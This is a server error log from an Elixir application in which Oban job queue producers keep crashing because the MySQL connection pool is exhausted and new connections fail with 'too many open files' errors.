State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:36:25.239928Z], limit: 5, uuid: "8f7d8f97-1bd0-4cc0-a99f-de08849b44d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:25.239934Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64329>, refresh_timer: #Reference<0.2525715032.1099431938.64294>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:36:25.240826Z], limit: 5, uuid: "7a5fc4bb-bc4a-4222-b417-f50bcc048e05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:25.240831Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64330>, refresh_timer: #Reference<0.2525715032.1099431938.64319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:42.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:43.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:43.531000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:44.616000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:46.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:47.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:36:37.239947Z], limit: 50, uuid: "76c47e02-ee62-43fe-b61e-a2e626548673", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:37.239955Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.67057>, refresh_timer: #Reference<0.2525715032.1099431938.64349>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:36:37.240812Z], limit: 10, uuid: "73df6802-6e03-4728-8f87-5246fd2234a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:37.240821Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.206144>, refresh_timer: #Reference<0.2525715032.1121189889.206127>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:36:37.244091Z], limit: 5, uuid: "af57b7f2-36e6-4264-a244-2e50652dce78", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:37.244098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.67056>, refresh_timer: #Reference<0.2525715032.1068498948.67055>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:36:37.240970Z], limit: 5, uuid: "7dba3b7c-957f-4149-8a67-7f8f8c7a7074", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:37.240978Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.206145>, refresh_timer: #Reference<0.2525715032.1099431938.64370>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:36:37.238961Z], limit: 20, uuid: "78a3c2df-369b-4619-91de-08e49e584c01", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:37.238973Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.206146>, refresh_timer: #Reference<0.2525715032.1077673987.46542>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:36:37.240943Z], limit: 3, uuid: "f6670ba4-6d5d-42ca-b975-5c63b780152f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:37.240951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.46578>, refresh_timer: #Reference<0.2525715032.1077673987.46552>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:49.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:51.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:53.720000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:57.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:00.917000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:36:49.239364Z], limit: 50, uuid: "451ebe03-0a29-4011-892a-86c42c47f6ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:49.239370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.67182>, refresh_timer: #Reference<0.2525715032.1068498948.67161>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

